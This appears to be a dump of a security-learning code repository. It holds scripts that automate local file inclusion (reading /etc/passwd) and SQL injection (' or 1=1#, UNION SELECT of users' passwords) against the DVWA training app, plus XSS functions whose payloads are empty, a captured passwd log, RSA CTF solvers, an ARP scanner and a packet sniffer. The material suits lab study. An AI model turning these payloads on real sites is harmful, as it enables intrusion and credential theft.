20 | raw_socket=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(0x0800))
21 | raw_socket.bind(('eth0',socket.htons(0x0800)))
22 |
23 | #To find local ip address and net mask
24 | eth_address=netifaces.ifaddresses("eth0")
25 | ip_and_mask = eth_address[socket.AF_INET][0]
26 |
27 | print "Your IP address: "+ip_and_mask['addr']
28 | print "Your net mask: "+ip_and_mask['netmask']
29 |
30 | #Formatting IP and CIDR to fetch the list of IP in the subnet
31 | ip_and_cidr = ip_and_mask['addr']+'/'+calculateCIDR(ip_and_mask['netmask'].split('.'))
32 |
33 | #Gives a list of all hosts in the network
34 | network_range = list(netaddr.IPNetwork(ip_and_cidr))
35 |
36 | print "Your network address is:%s"%str(network_range[0])
37 |
38 | #Removing network and broadcast address
39 | del network_range[0]
40 | network_range.pop()
41 |
42 | #Getting the MAC address
43 | ip_source=socket.inet_aton(str(ip_and_mask['addr']))
44 | #mac_source = binascii.unhexlify(eth_address[17][0]['addr'].replace(':',''))
45 |
46 | mac_source=binascii.unhexlify(eth_address[17][0]['addr'].replace(':',''))
47 | print "********************Injecting ARP Packet********************"
48 | print ""
49 | for ip in network_range:
50 |
51 | ip_destination = socket.inet_aton(str(ip))
52 | #ARP packet: Initial three fields belong to ethernet packet rest is ARP,
53 | #third field \x08\06 represents an ARP types of ethernet frame
54 | packet = struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s","\xff\xff\xff\xff\xff\xff",\
55 | mac_source,"\x08\x06","\x00\x01","\x08\x00","\x06","\x04",\
56 | "\x00\x01", mac_source,ip_source, "\x00\x00\x00\x00\x00\x00", ip_destination)
57 | #Sending the raw packet
58 | raw_socket.send(packet)
59 |
60 | print "*******************Injection Completed**********************"
61 |
--------------------------------------------------------------------------------
/209-project/fileinclusion.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 | from selenium.webdriver.common.keys import Keys
3 | from selenium.webdriver.support.ui import Select
4 | from bs4 import BeautifulSoup
5 | import requests
6 |
7 | import time
8 |
9 |
10 | def fileinclusion(host):
11 | timeToSleep=1
12 |
13 | # create a new Firefox session
14 | driver = webdriver.Firefox()
15 | #driver.implicitly_wait(10)
16 | driver.maximize_window()
17 |
18 | # navigate to the application home page
19 | driver.get(host+"/dvwa/login.php")
20 |
21 | # get the search textbox
22 | username = driver.find_element_by_name("username")
23 | password=driver.find_element_by_name("password")
24 |
25 | # enter search keyword and submit
26 | username.send_keys("admin")
27 | password.send_keys("password")
28 | login=driver.find_element_by_name("Login")
29 | time.sleep(timeToSleep)
30 | login.click()
31 | time.sleep(timeToSleep)
32 | driver.get(host+"/dvwa/vulnerabilities/fi/?page=include.php")
33 | time.sleep(timeToSleep)
34 |
35 | fp=open('lfi.log','w')
36 |
37 | Url= driver.current_url
38 | #print Url
39 | newUrl = Url.replace("include.php","/etc/passwd")
40 | #print newUrl
41 | time.sleep(timeToSleep)
42 | driver.get(newUrl)
43 | time.sleep(timeToSleep)
44 | html = driver.page_source
45 | soup = BeautifulSoup(html,"lxml")
46 |
47 | for tag in soup.find_all('body'):
48 | fp.write(tag.text)
49 | #driver.get("http://192.168.222.129/dvwa/vulnerabilities/fi/?page=/etc/passwd")
50 |
51 | time.sleep(timeToSleep)
52 |
53 | newUrl= Url.replace("include.php", "/etc/profile")
54 | #print (newUrl)
55 | time.sleep(timeToSleep)
56 | driver.get(newUrl)
57 | time.sleep(timeToSleep)
58 | html = driver.page_source
59 | soup = BeautifulSoup(html, "lxml")
60 |
61 | for tag in soup.find_all('body'):
62 | fp.write(tag.text)
63 |
64 |
65 | newUrl= Url.replace("include.php", "/proc/version")
66 | #print newUrl
67 | time.sleep(timeToSleep)
68 | driver.get(newUrl)
69 | time.sleep(timeToSleep)
70 | html = driver.page_source
71 | soup = BeautifulSoup(html, "lxml")
72 |
73 | for tag in soup.find_all('body'):
74 | fp.write(tag.text)
75 |
76 | newUrl= Url.replace("include.php", "/etc/issue")
77 | #print newUrl
78 | time.sleep(timeToSleep)
79 | driver.get(newUrl)
80 | time.sleep(timeToSleep)
81 |
82 |
83 | html = driver.page_source
84 | soup = BeautifulSoup(html,"lxml")
85 |
86 | for tag in soup.find_all('body'):
87 | fp.write(tag.text)
88 |
89 | fp.close()
90 | time.sleep(3)
91 | driver.close()
--------------------------------------------------------------------------------
/CTF/AlexCTF/crypto3.py:
--------------------------------------------------------------------------------
1 |
2 | #Given is p,q,e and c
3 |
4 | p=8695224115036335558506571119739296036271134788610181138168484331081777972517240308721981280176995392696427341397469232176120700610749965333026113898553049L
5 |
6 | q=13096749823995628078930936161926731366955083380107539950861609990671457149850288846976369982960384583841424977220385144435351119887497145134804975486079751L
7 |
8 | c=89801389443569569957398406954707598492763923418568536030323546088278758362331043119736437910117697032594835902900582040394367480829800897231925233807745278389358031404278064633313626149336724945854865041439061149411962509247624419448003604874406282213609341704339025169015256228029200222643343430028828063008L
9 |
10 | def gcd(p1, p2):
11 | while p1 != 0:
12 | p1, p2 = p2 % p1, p1
13 | return p2
14 |
15 |
16 | def modInverse(p1, m):
17 |
18 | #Checking if p1 and M are relatively prime if not then there could be no mod inverse
19 | if gcd(p1, m) != 1:
20 | return None
21 |
22 | par1, par2, par3 = 1, 0, p1
23 | par4, par5, par6 = 0, 1, m
24 | while par6 != 0:
25 | q = par3 // par6 # // is the integer division operator
26 | par4, par5, par6, par1, par2, par3 = (par1 - q * par4), (par2 - q * par5), (par3 - q * par6), par4, par5, par6
27 | return par1 % m
28 |
29 | e=76629781387397242664311670987431757827144139255639280752983416867031015307352014386648673994217913815581782186636488159185965227449303118783362862435899486717504457233649829563176353949817149997773276435581910370559594639570436120596211148973227077565739467641309426944529006537681147498322988959979899800641L
30 |
31 | #(p-1)(q-1)
32 | phi=113879174898204668645967117693806176653947255938239415762484178439933029039942480992378962821742116042132121384130894271263769392129728556897504506961994017955123040971580601442184360016812839790442396284478491372064164135562688743361218171760976043299103524775029410660424153739004151075556359093990933578000L
33 |
34 | modulus=113879174898204668645967117693806176653947255938239415762484178439933029039942480992378962821742116042132121384130894271263769392129728556897504506961994039747096980003544238879691641682840243016660565002199580402158485888797811110890373870112239180679080062627348028514800765210824649322666826925080318210799L
35 |
36 | d= modInverse(e,phi)
37 |
38 | print "Decryption key"
39 | print d
40 |
41 | result=pow(c,d,modulus)
42 | print "Result"
43 | print result
44 | hexresult=hex(result)[2:-1]
45 | hextoascii=str(hexresult).decode("hex")
46 | print hextoascii
47 |
--------------------------------------------------------------------------------
/WebCrawler/webcrawler.py:
--------------------------------------------------------------------------------
1 | import urllib2
2 | from bs4 import BeautifulSoup
3 | import threading
4 | import Queue
5 | import sys
6 | import time
7 | import signal
8 |
9 | #Keeps a record of links which are already saved and are present just once in the queue
10 | linksVisited=set()
11 |
12 | class workerThreads(threading.Thread):
13 | def __init__(self,queue):
14 | threading.Thread.__init__(self)
15 | self.queue=queue
16 |
17 | def run(self):
18 | while True:
19 | url=self.queue.get()
20 | try:
21 | site=urllib2.urlopen(url)
22 | siteContent=site.read()
23 |
24 | for links in BeautifulSoup(siteContent).find_all('a'):
25 | #Only proceed if links have href tag, many of the a tags
26 | #were having images and src in it
27 | if links.has_attr('href'):
28 | linkUrl=links['href']
29 |
30 | #Checking for links which basically points to the same
31 | #page using hash and doesn't starts with http
32 | if not linkUrl.startswith('http://'):
33 | linkUrl=target+linkUrl
34 | #print "This is it%s"%linkUrl
35 |
36 | #skipping the loop if not of same domain
37 | if not linkUrl.startswith(target):
38 | continue
39 |
40 | #Only letting visit the links which have not been
41 | #visited before
42 | if linkUrl not in linksVisited:
43 | linksVisited.add(linkUrl)
44 | self.queue.put(linkUrl)
45 | print linkUrl
46 |
47 | except urllib2.HTTPError as e:
48 | #if e.code==404:
49 | #print "Page not found"
50 | continue
51 | except:
52 | #print "An error occured while opening "+url
53 | continue
54 | #Initiating a queue
55 | queue=Queue.Queue()
56 |
57 | #Expecting target as an argument, starting with http and ending with a /
58 | #since href's start the link with http which we check for same domain above
59 | if(len(sys.argv)<2):
60 | print "Please pass a target url in the format http://www.example.com"
61 | exit(0)
62 |
63 | target=sys.argv[1]
64 |
65 | #Since we do not want to visit the root url again we put it into the visited list
66 | #Also we may find a # in href which is a null value, but would revisit the same website
67 | #Hence adding it too
68 | linksVisited.add(target)
69 | linksVisited.add(target+'#')
70 |
71 | allThreads=[]
72 | for i in range(10):
73 |
74 | threadInstance=workerThreads(queue)
75 | threadInstance.setDaemon('True')
76 | threadInstance.start()
77 | allThreads.append(threadInstance)
78 |
79 | queue.put(target)
80 |
81 | for j in allThreads:
82 | j.join()
83 |
84 | queue.join()
85 |
86 | #while True:
87 | # if queue.empty():
88 | # time.sleep(5)
89 | # break
90 | print "Crawling completed"
91 |
--------------------------------------------------------------------------------
/HackerOneAutomationScript/hackerone.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import requests
4 | import json
5 | import threading
6 | import Tkinter
7 | import tkMessageBox
8 | import webbrowser
9 | import sys
10 | import time
11 | from datetime import datetime
12 |
13 | #https://hackerone.com/directory?query=type%3Ahackerone&sort=published_at%3Adescending&page=1
14 | #The above link was getting a json request for list of programs, I found it in the debug console in networks tab
15 |
16 | userdata = { "brandDetails":[]}
17 | oldList = []
18 | intialized=0
19 | count=0
20 |
21 |
22 | def add_brand(brand):
23 | userdata["brandDetails"].append(brand)
24 |
25 | def filloldList():
26 | global oldList
27 | oldList = []
28 | for i in xrange(0,9):
29 | oldList.append(userdata['brandDetails'][i]['name'])
30 |
31 | def fetch():
32 | try:
33 | sys.stdout.flush();
34 | print "Starting:"
35 | print str(datetime.now())
36 | global intialized
37 | web=requests.get('https://hackerone.com/programs/search?query=type%3Ahackerone&sort=pblished_at%3Adescending&page=1')
38 | #json_data=web.json()
39 | json_data=json.loads(web.text)
40 |
41 | for i in xrange(0,9):
42 |
43 | brand = {}
44 | brand["name"]=json_data['results'][i]['name']
45 | #user["age"]=10
46 | #user["country"]='USA'
47 | add_brand(brand)
48 | #Making sure the old list is filled once, and updated only when a new program is added while comparing it with new list
49 | if intialized==0:
50 | filloldList()
51 | intialized=intialized+1
52 |
53 |
54 | #TO TEST, UNCOMMMENT THE BELOW LINES
55 | #global count
56 | #if count==1:
57 | # userdata['brandDetails'][4]['name']='ab'
58 | #count=count+1
59 |
60 |
61 | #Just checking with last ten programs
62 | for i in xrange(0,9):
63 | if userdata['brandDetails'][i]['name'] in oldList:
64 | pass
65 |
66 | else:
67 | root = Tkinter.Tk()
68 | root.withdraw()
69 | message=", Just Got added in the list"
70 | message1="Happy Hacking"
71 | root.option_add('*Dialog.msg.width', 50)
72 | tkMessageBox.showinfo(userdata['brandDetails'][i]['name']+message, message1)
73 | root.update()
74 | print userdata['brandDetails'][i]['name']
75 | filloldList()
76 | webbrowser.open('https://hackerone.com/directory?query=type%3Ahackerone&sort=published_at%3Adescending&page=1')
77 | break;
78 | print "Executed"
79 | except requests.ConnectionError:
80 | print "Error while making a get request, Will retry again in specified time"
81 |
82 | if __name__ == "__main__":
83 | while True:
84 | fetch()
85 | #Running after every 5 minutes
86 | time.sleep(300)
87 |
88 | #print userdata
89 |
90 |
--------------------------------------------------------------------------------
/209-project/sql.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 | from selenium.webdriver.common.keys import Keys
3 | from selenium.webdriver.support.ui import Select
4 | from bs4 import BeautifulSoup
5 | import time
6 |
7 | # from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
8 |
9 | # binary = FirefoxBinary('path/to/binary')
10 | # driver = webdriver.Firefox(firefox_binary=binary)
11 | def sqlinjection(host):
12 | timeToSleep=1
13 | #create a new Firefox session
14 | driver = webdriver.Firefox()
15 | #driver.implicitly_wait(30)
16 | driver.maximize_window()
17 |
18 | # navigate to the application home page
19 | driver.get(host+"/dvwa/login.php")
20 |
21 | # get the search textbox
22 | username = driver.find_element_by_name("username")
23 | password=driver.find_element_by_name("password")
24 |
25 | # enter search keyword and submit
26 | username.send_keys("admin")
27 | password.send_keys("password")
28 | login=driver.find_element_by_name("Login")
29 | time.sleep(timeToSleep)
30 | login.click()
31 |
32 |
33 | driver.get(host+"/dvwa/vulnerabilities/sqli/")
34 | inputElement = driver.find_element_by_name("id")
35 |
36 | #demo
37 | inputElement.send_keys("'")
38 | time.sleep(timeToSleep)
39 | inputElement.send_keys(Keys.ENTER)
40 | time.sleep(1)
41 |
42 | # creating a log file
43 | fp = open('sqloutput.log','w')
44 |
45 | soup = BeautifulSoup(driver.page_source, "lxml")
46 | page = soup.find('pre').getText()
47 | text = "\n\noutput of sql query which displays error in sql syntax\n\n"
48 | fp.write(text)
49 | fp.write(page)
50 | time.sleep(2)
51 |
52 |
53 | driver.get(host+"/dvwa/vulnerabilities/sqli/")
54 | inputElement = driver.find_element_by_name("id")
55 | time.sleep(2)
56 | inputElement.send_keys("1 &' or 1=1#")
57 | time.sleep(2)
58 | inputElement.send_keys(Keys.ENTER)
59 | time.sleep(2)
60 |
61 | elem = driver.find_elements_by_css_selector('pre')
62 | text = "\n\n output of sql query to retrive admin name details\n\n"
63 | fp.write(text)
64 | for el in elem:
65 | fp.write(el.text)
66 |
67 |
68 |
69 | driver.get(host+"/dvwa/vulnerabilities/sqli/")
70 | inputElement = driver.find_element_by_name("id")
71 | time.sleep(2)
72 | inputElement.send_keys("%' AND 1=0 UNION SELECT user,password FROM users #")
73 | time.sleep(2)
74 | inputElement.send_keys(Keys.ENTER)
75 | time.sleep(2)
76 |
77 | elem = driver.find_elements_by_css_selector('pre')
78 | text = "\n\n output of sql query to retrive admin and password information\n\n"
79 | fp.write(text)
80 | for el in elem:
81 | fp.write(el.text)
82 |
83 | text = "\n\n ------- END of command sql injection log file -----------------\n\n"
84 | fp.write(text)
85 | fp.close()
86 | time.sleep(3)
87 | driver.close()
88 |
89 |
90 |
--------------------------------------------------------------------------------
/209-project/Project/lfi.log:
--------------------------------------------------------------------------------
1 | root:x:0:0:root:/root:/bin/bash
2 | daemon:x:1:1:daemon:/usr/sbin:/bin/sh
3 | bin:x:2:2:bin:/bin:/bin/sh
4 | sys:x:3:3:sys:/dev:/bin/sh
5 | sync:x:4:65534:sync:/bin:/bin/sync
6 | games:x:5:60:games:/usr/games:/bin/sh
7 | man:x:6:12:man:/var/cache/man:/bin/sh
8 | lp:x:7:7:lp:/var/spool/lpd:/bin/sh
9 | mail:x:8:8:mail:/var/mail:/bin/sh
10 | news:x:9:9:news:/var/spool/news:/bin/sh
11 | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
12 | proxy:x:13:13:proxy:/bin:/bin/sh
13 | www-data:x:33:33:www-data:/var/www:/bin/sh
14 | backup:x:34:34:backup:/var/backups:/bin/sh
15 | list:x:38:38:Mailing List Manager:/var/list:/bin/sh
16 | irc:x:39:39:ircd:/var/run/ircd:/bin/sh
17 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
18 | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
19 | libuuid:x:100:101::/var/lib/libuuid:/bin/sh
20 | dhcp:x:101:102::/nonexistent:/bin/false
21 | syslog:x:102:103::/home/syslog:/bin/false
22 | klog:x:103:104::/home/klog:/bin/false
23 | sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
24 | msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
25 | bind:x:105:113::/var/cache/bind:/bin/false
26 | postfix:x:106:115::/var/spool/postfix:/bin/false
27 | ftp:x:107:65534::/home/ftp:/bin/false
28 | postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
29 | mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
30 | tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
31 | distccd:x:111:65534::/:/bin/false
32 | user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
33 | service:x:1002:1002:,,,:/home/service:/bin/bash
34 | telnetd:x:112:120::/nonexistent:/bin/false
35 | proftpd:x:113:65534::/var/run/proftpd:/bin/false
36 | statd:x:114:65534::/var/lib/nfs:/bin/false
37 | snmp:x:115:65534::/var/lib/snmp:/bin/false
38 |
39 | Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 324
40 |
41 | Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 325
42 |
43 | Warning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 326
44 |
45 | Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Inclusion
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | HomeInstructionsSetupBrute ForceCommand ExecutionCSRFFile InclusionSQL InjectionSQL Injection (Blind)UploadXSS reflectedXSS storedDVWA SecurityPHP InfoAboutLogout
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | Username: adminSecurity Level: lowPHPIDS: disabled
66 |
67 |
68 | Damn Vulnerable Web Application (DVWA) v1.0.7
69 |
70 |
71 |
--------------------------------------------------------------------------------
/RSACommonModulusAttack/rsaattack.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import sys
3 |
4 | #Modulus N
5 | #N=402394248802762560784459411647796431108620322919897426002417858465984510150839043308712123310510922610690378085519407742502585978563438101321191019034005392771936629869360205383247721026151449660543966528254014636648532640397857580791648563954248342700568953634713286153354659774351731627683020456167612375777
6 |
7 | #Public key exponent for first user
8 | #e1=3
9 |
10 | #Public key exponent for second user 0x10001
11 | #e2=65537
12 |
13 | #First Ciphertext
14 | #c1=239450055536579126410433057119955568243208878037441558052345538060429910227864196906345427754000499641521575512944473380047865623679664401229365345208068050995600248796358129950676950842724758743044543343426938845678892776396315240898265648919893384723100132425351735921836372375270138768751862889295179915967
15 |
16 | #Second Ciphertext
17 | #c2=138372640918712441635048432796183745163164033759933692015738688043514876808030419408866658926149572619049975479533518038543123781439635367988204599740411304464710538234675409552954543439980522243416932759834006973717964032712098473752496471182275216438174279723470286674311474283278293265668947915374771552561
18 |
19 |
20 | def xgcd(a,b):
21 | if b == 0:
22 | return [1,0,a]
23 | else:
24 | x,y,d = xgcd(b, a%b)
25 | return [y, x - (a//b)*y, d]
26 |
27 |
28 | def gcd(a, b):
29 | # Return the GCD of a and b using Euclid's Algorithm
30 | while a != 0:
31 | a, b = b % a, a
32 | return b
33 |
34 | #c2 would be a and Modulus N would be m
35 | def modInverse(a, m):
36 |
37 | if gcd(a, m) != 1:
38 | return None # no mod inverse if a & m aren't relatively prime
39 |
40 | u1, u2, u3 = 1, 0, a
41 | v1, v2, v3 = 0, 1, m
42 | while v3 != 0:
43 | q = u3 // v3 # // is the integer division operator
44 | v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
45 | return u1 % m
46 |
47 |
48 |
49 |
50 | def main():
51 | if len(sys.argv) < 6:
52 | print("Insufficient parameters, Please provide parameters in order of N,e1,e2,c1,c2")
53 | return
54 |
55 | N=long(sys.argv[1])
56 | e1=long(sys.argv[2])
57 | e2=long(sys.argv[3])
58 | c1=long(sys.argv[4])
59 | c2=long(sys.argv[5])
60 |
61 | euclidConstants=xgcd(e1,e2)
62 | a=euclidConstants[0]
63 | b=euclidConstants[1]
64 |
65 | eq1=modInverse(c2,N)
66 |
67 |
68 | #(c1^a * eq1^-b) mod N
69 | result1=pow(eq1,-b,N)
70 | result2=pow(c1,a,N)
71 |
72 | result3=result1*result2
73 | finalresult=result3%N
74 | #print finalresult
75 |
76 | hexresult=hex(finalresult)[2:-1]
77 | #print hexresult
78 |
79 | hextoascii=str(hexresult).decode("hex")
80 | #print hextoascii
81 |
82 | secretmessage=base64.b64decode(hextoascii)
83 | print ("The hidden message is in german, We can use google translate ;)",secretmessage)
84 |
85 | if __name__ == "__main__":
86 | main()
87 |
88 |
89 |
--------------------------------------------------------------------------------
/PacketSnifferUsingRawSockets/packetsniffrawsock.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import binascii
4 |
5 | #0x0800 represents internet protocol
6 | rawsock=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(0x0800))
7 |
8 | # 2048 is the number of default network byte read
9 | while True:
10 | packet=rawsock.recvfrom(65565)
11 | print len(packet[0])
12 |
13 | print "------------------Start of packet-------------------"
14 | print "Raw Socket:"
15 | print packet
16 |
17 | #Initial 14 bytes headers of ethernet frames
18 | ethHeader=packet[0][0:14]
19 |
20 | # exclamation represents network byte order, 6s6s2s, 6s is for 6 short bytes and so on
21 | ethHeaderValues=struct.unpack('!6s6sH',ethHeader)
22 |
23 | #It shall give 8 for IP protocol, we have to use 6s6sH above
24 | typeOfProtocol=socket.ntohs(ethHeaderValues[2])
25 |
26 | print "Type of Protocol:%i"%typeOfProtocol
27 |
28 | destinationMAC=ethHeaderValues[0]
29 | sourceMAC=ethHeaderValues[1]
30 |
31 | print "destination MAC:%s"%binascii.hexlify(destinationMAC)
32 | print "source MAC:%s"%binascii.hexlify(sourceMAC)
33 |
34 | #If IP protocol
35 | if typeOfProtocol==8:
36 | #After the ethernet frames, 20 bytes header of IP packet
37 | ipHeader=packet[0][14:34]
38 | ipHeaderValues=struct.unpack('!BBHHHBBH4s4s',ipHeader)
39 |
40 | protocol=ipHeaderValues[6]
41 | sourceIp=ipHeaderValues[8]
42 | destinationIp=ipHeaderValues[9]
43 |
44 | print "Source IP: %s"%socket.inet_ntoa(sourceIp)
45 | print "Destination IP: %s"%socket.inet_ntoa(destinationIp)
46 |
47 | #After IP packets, 20 bytes header of TCP segments
48 | if protocol==6:
49 | tcpHeader=packet[0][34:54]
50 | tcpHeaderValues=struct.unpack('!HH16s',tcpHeader)
51 |
52 | print "TCP Source port:%i"%tcpHeaderValues[0]
53 | print "TCP Destination port:%i"%tcpHeaderValues[1]
54 |
55 | #Checking only for incoming packets
56 | if tcpHeaderValues[0] in (443,80):
57 | if tcpHeaderValues[0]==80:
58 | print "HTTP Traffic"
59 | else:
60 | print "HTTPS Traffic"
61 | httpsHeaderAndData=packet[0][54:]
62 | print len(httpsHeaderAndData)
63 | length=len(httpsHeaderAndData)
64 | l=[]
65 | l.append('!')
66 | #Subtracted 2 from length because binascii.hexlify was getting the data as a tuple %02%02,) after unpacking,
67 | #So we ignored the last two bytes
68 | l.append(str(length-2))
69 | l.append('s')
70 | l.append('2')
71 | l.append('s')
72 | regex=''.join(l)
73 | print regex
74 | if length!=0:
75 | data=struct.unpack(regex,httpsHeaderAndData)
76 | print data
77 | print binascii.hexlify(data[0])
78 | elif protocol==17:
79 | udpHeader=packet[0][34:42]
80 | udpHeaderValues=struct.unpack('!HHHH',udpHeader)
81 |
82 | print "UDP Source port:%s" %str(udpHeaderValues[0])
83 | print "UDP Destination port:%s" %str(udpHeaderValues[1])
84 | #httpHeader=packet[0][54:300]
85 | #print struct.unpack('!246s',httpHeader)
86 |
--------------------------------------------------------------------------------
/209-project/Project/xss.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 | from selenium.webdriver.common.keys import Keys
3 | from selenium.webdriver.support.ui import Select
4 | import time
5 |
6 | def xssAuto():
7 | #Creating a text file to log
8 | file=open('xss.log', 'w')
9 |
10 | timeToSleep=1
11 |
12 | # create a new Firefox session
13 | driver = webdriver.Firefox()
14 | #driver.implicitly_wait(10)
15 | driver.maximize_window()
16 |
17 | # navigate to the application home page
18 | driver.get("http://192.168.147.135/dvwa/login.php")
19 |
20 | # get the search textbox
21 | username = driver.find_element_by_name("username")
22 | password=driver.find_element_by_name("password")
23 |
24 | # enter search keyword and submit
25 | username.send_keys("admin")
26 | password.send_keys("password")
27 | login=driver.find_element_by_name("Login")
28 | time.sleep(timeToSleep)
29 | login.click()
30 |
31 | #REFLECTED XSS
32 | driver.get("http://192.168.147.135/dvwa/vulnerabilities/xss_r/")
33 | username = driver.find_element_by_name("name")
34 |
35 | time.sleep(timeToSleep)
36 | username.send_keys("")
37 | time.sleep(timeToSleep)
38 | username.submit()
39 |
40 | time.sleep(timeToSleep)
41 |
42 | try:
43 | file.write("=============XSS found===========\n")
44 | file.write(driver.switch_to_alert().text)
45 | driver.switch_to_alert().accept()
46 | except:
47 | file.write("No XSS found\n")
48 |
49 |
50 | #STORED XSS
51 | driver.get("http://192.168.147.135/dvwa/vulnerabilities/xss_s/")
52 |
53 | #Handling if already a pop up appears, already a stored XSS is there
54 | try:
55 | driver.switch_to_alert().accept()
56 | except:
57 | print "Continue"
58 |
59 | txtName = driver.find_element_by_name("txtName")
60 | mtxMessage = driver.find_element_by_name("mtxMessage")
61 |
62 | time.sleep(timeToSleep)
63 | txtName.send_keys("")
64 | time.sleep(timeToSleep)
65 | mtxMessage.send_keys("")
66 | time.sleep(timeToSleep)
67 | mtxMessage.submit()
68 |
69 | time.sleep(timeToSleep)
70 | driver.switch_to_alert().accept()
71 |
72 | file.close()
73 |
74 | #select = Select(driver.find_element_by_name('security'))
75 | #for item in select.options:
76 | # print item.text
77 | #select.select_by_value('low');
78 |
79 | #print dir(select)
80 |
81 |
82 |
83 | #lala=driver.find_element_by_name("seclev_submit")
84 | #lala.click()
85 |
86 | #driver.find_element_by_xpath("//select/option[@value='low']").click()
87 |
88 |
89 |
90 | # iterate through each element and print the text that is
91 | # name of the search
92 |
93 | #el = driver.find_element_by_name("security")
94 |
95 | #for option in el.find_elements_by_tag_name('option'):
96 | #print dir(option)
97 | #if option.text == 'low':
98 | #print "Low"
99 | #option.submit()
100 | #lala=driver.find_element_by_name("seclev_submit")
101 | #lala.click()
102 | #break
103 | #continue
104 |
--------------------------------------------------------------------------------
/209-project/xss.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 | from selenium.webdriver.common.keys import Keys
3 | from selenium.webdriver.support.ui import Select
4 | import time
5 |
6 | def xssAuto(host):
7 | #Creating a text file to log
8 | file=open('xss.log', 'w')
9 |
10 | timeToSleep=1
11 |
12 | # create a new Firefox session
13 | driver = webdriver.Firefox()
14 | #driver.implicitly_wait(10)
15 | driver.maximize_window()
16 |
17 | # navigate to the application home page
18 | driver.get(host+"/dvwa/login.php")
19 |
20 | # get the search textbox
21 | username = driver.find_element_by_name("username")
22 | password=driver.find_element_by_name("password")
23 |
24 | # enter search keyword and submit
25 | username.send_keys("admin")
26 | password.send_keys("password")
27 | login=driver.find_element_by_name("Login")
28 | time.sleep(timeToSleep)
29 | login.click()
30 |
31 | #REFLECTED XSS
32 | driver.get(host+"/dvwa/vulnerabilities/xss_r/")
33 | username = driver.find_element_by_name("name")
34 |
35 | #Attack 1 Get cookie
36 | time.sleep(timeToSleep)
37 | username.send_keys("")
38 | time.sleep(timeToSleep)
39 | username.submit()
40 |
41 | time.sleep(timeToSleep+3)
42 |
43 | try:
44 | file.write("=============XSS found===========\n")
45 | file.write(driver.switch_to_alert().text+"\n")
46 | driver.switch_to_alert().accept()
47 | except:
48 | file.write("No XSS found\n")
49 |
50 | #Attack 2 Fake Image
51 | time.sleep(timeToSleep)
52 | driver.get(host+"/dvwa/vulnerabilities/xss_r/")
53 | username = driver.find_element_by_name("name")
54 |
55 | fakeHackImage='
'
56 |
57 | time.sleep(timeToSleep)
58 | username.send_keys(fakeHackImage)
59 | time.sleep(timeToSleep)
60 | username.submit()
61 | #Just that the image the visible for 10 seconds, it takes time to load
62 | time.sleep(10)
63 |
64 | #STORED XSS
65 | driver.get(host+"/dvwa/vulnerabilities/xss_s/")
66 |
67 | #Handling if already a pop up appears, already a stored XSS is there
68 | try:
69 | driver.switch_to_alert().accept()
70 | except:
71 | print "Continue"
72 |
73 | txtName = driver.find_element_by_name("txtName")
74 | mtxMessage = driver.find_element_by_name("mtxMessage")
75 |
76 | time.sleep(timeToSleep)
77 | txtName.send_keys("")
78 | time.sleep(timeToSleep)
79 | mtxMessage.send_keys("")
80 | time.sleep(timeToSleep)
81 | mtxMessage.submit()
82 |
83 | time.sleep(timeToSleep+2)
84 | driver.switch_to_alert().accept()
85 |
86 | file.close()
87 |
88 | #select = Select(driver.find_element_by_name('security'))
89 | #for item in select.options:
90 | # print item.text
91 | #select.select_by_value('low');
92 |
93 | #print dir(select)
94 |
95 |
96 |
97 | #lala=driver.find_element_by_name("seclev_submit")
98 | #lala.click()
99 |
100 | #driver.find_element_by_xpath("//select/option[@value='low']").click()
101 |
102 |
103 |
104 | # iterate through each element and print the text that is
105 | # name of the search
106 |
107 | #el = driver.find_element_by_name("security")
108 |
109 | #for option in el.find_elements_by_tag_name('option'):
110 | #print dir(option)
111 | #if option.text == 'low':
112 | #print "Low"
113 | #option.submit()
114 | #lala=driver.find_element_by_name("seclev_submit")
115 | #lala.click()
116 | #break
117 | #continue
118 |
--------------------------------------------------------------------------------
/ScanAllInputParams/crawlthroughInput.py:
--------------------------------------------------------------------------------
1 | import queue
2 | from urllib.request import urlopen
3 | from threading import Thread
4 | from bs4 import BeautifulSoup
5 | from urllib.parse import urlparse
6 | import sys
7 |
8 | #Keeps a record of links which are already saved and are present just once in the queue
9 | linksVisited=set()
10 | linksWithInputParam=set()
11 |
12 | def addLinksWithInputParam(link):
13 | if "?" in link:
14 | linksWithInputParam.add(link)
15 | print ("Printing URL with params")
16 | print (linksWithInputParam)
17 |
18 | def do_stuff(q):
19 | while True:
20 | url = q.get()
21 | q.task_done()
22 | try:
23 | site=urlopen(url)
24 | siteContent=site.read()
25 |
26 | for links in BeautifulSoup(siteContent,'html.parser').find_all('a'):
27 | #Only proceed if links have href tag, many of the a tags
28 | #were having images and src in it
29 | #Ignoring if its an anchor tag having images inside
